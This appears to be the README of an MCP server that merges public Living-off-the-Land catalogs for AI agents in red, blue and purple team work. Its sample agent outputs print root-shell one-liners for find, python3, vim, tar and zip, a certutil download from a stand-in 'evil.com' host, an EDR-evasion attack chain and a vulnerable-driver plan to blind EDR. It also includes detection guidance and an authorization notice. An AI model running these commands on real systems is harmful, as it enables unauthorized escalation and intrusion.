Living Off The Land Lolbins Server

English | 简体中文 | 繁體中文 | 한국어 | Deutsch | Español | Français | Italiano | Dansk | 日本語 | Polski | Русский | Bosanski | العربية | Norsk | Português (Brasil) | ไทย | Türkçe | Українська | বাংলা | Ελληνικά | Tiếng Việt | हिन्दी

Living off the Land intelligence for AI agents.

GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM, WADComs, LOLC2 and more — unified into a single MCP server.
Your AI agent gets full-spectrum LOL binary intelligence for red team, blue team, and purple team operations.

The Problem • How It's Different • Quick Start • What The AI Can Do • Tools (59) • Data Sources (10) • Architecture • Changelog • Contributing

The Problem

Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:

Traditional LOL binary intel workflow:
  Linux privilege escalation         ->  GTFOBins web interface
  Windows LOL binaries               ->  LOLBAS project website
  macOS native binaries              ->  LOOBins web interface
  Vulnerable kernel drivers          ->  LOLDrivers project
  Abusable RMM tools                 ->  LOLRMM project
  VMware ESXi binaries               ->  LOLESXi project
  Living off trusted platforms       ->  LOTP project
  C2 over legitimate services        ->  LOLC2 project
  Firmware/BIOS/cabinet abuse        ->  LOFLCAB project
  Active Directory attacks           ->  WADComs web interface
  cross-platform correlation         ->  copy-paste into a spreadsheet
  ATT&CK mapping                     ->  manual lookup in Navigator
  detection rule writing             ->  start from scratch every time
  ────────────────────────────────────
  Total: hours per engagement, most of it switching contexts and reformatting data

living-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.

With living-off-the-land-lolbins-mcp-server:
  You: "I need to escalate privileges on a Linux box with curl, python3, and find available"

  Agent: -> lol_lookup {binary: "curl", platform: "linux"}
         -> lol_lookup {binary: "python3", platform: "linux"}
         -> lol_lookup {binary: "find", platform: "linux"}
         -> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
         -> lol_detect_rules {binary: "find", technique: "suid"}
         -> "3 escalation paths found:
            1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
            2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
            3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
            MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
            Sigma rule generated for sysmon file creation + process exec patterns.
            Detection: monitor execve() calls from find/python3 with euid!=uid."

How It's Different

Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.

Quick Start

Option 1: npx (no install)

npx living-off-the-land-lolbins-mcp-server

All tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.

Option 2: Clone

git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun install

Connect to your AI agent

# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server

# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.ts

{
  "mcpServers": {
    "lolbins": {
      "command": "npx",
      "args": ["-y", "living-off-the-land-lolbins-mcp-server"]
    }
  }
}

CLI Usage

# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list

# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all

# Show help
npx living-off-the-land-lolbins-mcp-server --help

# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'

Start querying

You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"

That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.

What The AI Can Do

LOL Binary Lookup & Cross-Platform Correlation

You: "Look up certutil.exe across all platforms and catalogs"

Agent: -> lol_lookup {binary: "certutil.exe"}
       -> lol_cross_platform {binary: "certutil"}
       -> lol_attack_map {binary: "certutil.exe"}
       -> "certutil.exe — Windows LOL binary (LOLBAS):
          Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
          ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
          Commands:
            Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
            Encode:   certutil -encode payload.exe encoded.txt
            Decode:   certutil -decode encoded.txt payload.exe
          Cross-platform equivalents:
            Linux: curl, wget, openssl (GTFOBins)
            macOS: curl, security (LOOBins)
          Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
          Sigma rule generated."

Privilege Escalation Path Discovery

You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."

Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
       -> lol_lookup {binary: "vim", platform: "linux"}
       -> lol_lookup {binary: "tar", platform: "linux"}
       -> lol_lookup {binary: "zip", platform: "linux"}
       -> "3 privilege escalation paths found:
          1. vim (sudo) — :!/bin/sh — drops to root shell immediately
          2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
             --checkpoint-action=exec=/bin/sh — shell via checkpoint
          3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
             -TT 'sh #' — shell via test command
          Risk: HIGH — all three provide immediate root shell
          MITRE: T1548.003 (Sudo and Sudo Caching)
          Remediation: restrict sudo to specific flags, use sudoers NOEXEC"

Detection Engineering

You: "Generate detection rules for mshta.exe abuse"

Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
       -> lol_detect_yara {binary: "mshta.exe"}
       -> lol_detect_sysmon {binary: "mshta.exe"}
       -> lol_detect_edr {binary: "mshta.exe"}
       -> "Detection package for mshta.exe (LOLBAS):
          Sigma: Process creation rule matching mshta.exe spawning
            cmd.exe/powershell.exe + network connection rule
          YARA: Rule matching mshta.exe loading VBScript/JScript payloads
          Sysmon: EventID 1 (child process) + EventID 3 (network)
            config snippet provided
          EDR (KQL): DeviceProcessEvents query for mshta.exe
            with suspicious command-line patterns
          Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"

Environment Enumeration & Attack Planning

You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."

Agent: -> lol_enum_environment {platform: "windows", version: "10"}
       -> lol_attack_graph {platform: "windows", objective: "persistence"}
       -> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
       -> "Windows 10 LOL binary inventory:
          154 LOLBAS binaries available by default
          12 LOLDrivers vulnerable drivers known for Win10
          8 LOLRMM tools commonly present
          Attack chain (initial access -> persistence):
            1. mshta.exe — execute HTA payload (T1218.005)
            2. certutil.exe — download additional tools (T1105)
            3. schtasks.exe — establish persistence (T1053.005)
          OPSEC warnings:
            - certutil download triggers Defender ATP alert
            - mshta.exe flagged by most EDR products
            - schtasks.exe is heavily monitored
          Alternatives with lower detection:
            - Use desktopimgdownldr.dll for download instead of certutil
            - Use msiexec for execution instead of mshta"

Purple Team Exercise Generation

You: "Create a purple team exercise around LOLDrivers and BYOVD"

Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
       -> lol_driver_search {query: "kernel", vulnerable: true}
       -> lol_detect_rules {technique: "BYOVD"}
       -> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
          Red Team Steps:
            1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
            2. Load driver via sc.exe create / sc.exe start
            3. Use driver to disable kernel callbacks (EDR bypass)
          Blue Team Validation:
            1. Verify driver load events (Sysmon EventID 6)
            2. Check driver signature against LOLDrivers blocklist
            3. Monitor for kernel callback removal
          Scoring: red success if EDR blind, blue success if detected in <5min
          MITRE: T1068 (Exploitation for Privilege Escalation)
          Caldera profile exported."

Tools Reference (59 Composite Tools)

Data Sources (10)

Architecture

src/
  index.ts                  # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
  protocol/
    mcp-server.ts           # MCP server setup (stdio transport)
    tools.ts                # Tool registry — all 59 composite tools + 321 total tools
  types/
    index.ts                # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
  schema/
    catalog.ts              # Unified catalog schema (Zod)
    technique.ts            # ATT&CK technique schema
    binary.ts               # Binary/tool schema
  utils/
    rate-limiter.ts         # Per-catalog rate limiter
    cache.ts                # TTL cache for catalog data
    loader.ts               # Catalog data loader (fetch + parse + normalize)
    updater.ts              # Catalog auto-updater (check for new entries)
  catalogs/
    gtfobins/               # GTFOBins parser and normalizer
    lolbas/                 # LOLBAS parser and normalizer
    loobins/                # LOOBins parser and normalizer
    loldrivers/             # LOLDrivers parser and normalizer
    lolrmm/                 # LOLRMM parser and normalizer
    lolesxi/                # LOLESXi parser and normalizer
    lotp/                   # LOTP parser and normalizer
    lolc2/                  # LOLC2 parser and normalizer
    loflcab/                # LOFLCAB parser and normalizer
    wadcoms/                # WADComs parser and normalizer
    index.ts                # Catalog registry and loader index
  knowledge-base/
    attack-map.ts           # MITRE ATT&CK mapping engine
    binary-db.ts            # Unified binary database (normalized from all catalogs)
    technique-db.ts         # Technique database with cross-references
  environment/
    enumerator.ts           # Platform environment enumeration
    platform-profiles.ts    # Default binary inventories per OS/version
  graph/
    attack-graph.ts         # Attack graph data structure
    pathfinder.ts           # BFS/DFS path finding algorithms
    visualizer.ts           # Mermaid, Graphviz, ASCII graph rendering
  providers/
    core/                   # Core lookup, search, list tools (3)
    environment/            # Environment & graph tools (4)
    privesc/                # Privilege escalation tools (3)
    persistence/            # Persistence tools (2)
    lateral/                # Lateral movement tools (2)
    evasion/                # Defense evasion tools (5)
    credential/             # Credential access tools (2)
    execution/              # Execution tools (3)
    discovery/              # Discovery & collection tools (2)
    exfiltration/           # Exfiltration & C2 tools (3)
    payload/                # Payload & obfuscation tools (4)
    drivers/                # Drivers, RMM, CI/CD tools (3)
    platform/               # Platform deep dive tools (3)
    opsec/                  # OPSEC & planning tools (2)
    threat-intel/           # Threat intelligence tools (3)
    forensics/              # Forensics & IR tools (3)
    detection/              # Detection engineering tools (4)
    blue-team/              # Blue team analytics tools (3)
    ad/                     # AD & WADComs tools (1)
    reporting/              # Reporting & visualization tools (3)
    integration/            # Integration export tools (1)
  composite/
    index.ts                # Composite tool orchestrator (chains sub-tools)
  scripts/
    update-catalogs.ts      # Script to fetch and update all catalog data
    build-knowledge-base.ts # Script to rebuild the unified knowledge base

Design decisions:

• 10 catalogs, 1 server — Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.
• Unified knowledge base — All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.
• Composite tools — 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.
• Attack graph engine — BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.
• Detection generation — Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.
• Zero API keys — All 10 LOL catalogs are open-source data. No authentication required for any tool.
• TTL caching — Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.
• Minimal dependencies — @modelcontextprotocol/sdk, zod, and cheerio. All HTTP via native fetch.

Requirements

• Runtime: Bun 1.3.9+ (recommended) or Node.js 22+
• Platform: macOS, Linux, Windows
• Network: Internet access for initial catalog fetch (subsequent queries use cache)

Limitations

• Catalog data freshness depends on upstream project update frequency
• GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer
• Attack graph reasoning is heuristic-based — paths represent possibilities, not guaranteed exploitation
• Detection rules are templates that may need tuning for specific environments
• LOLDrivers vulnerability data covers known CVEs only — 0-day driver vulnerabilities not included
• WADComs requires Active Directory context for meaningful results
• macOS / Linux tested (Windows not tested)

Part of the MCP Security Suite

For authorized security testing and assessment only.
Always ensure you have proper authorization before using LOL binary techniques on any target system.

MIT License • Built with Bun + TypeScript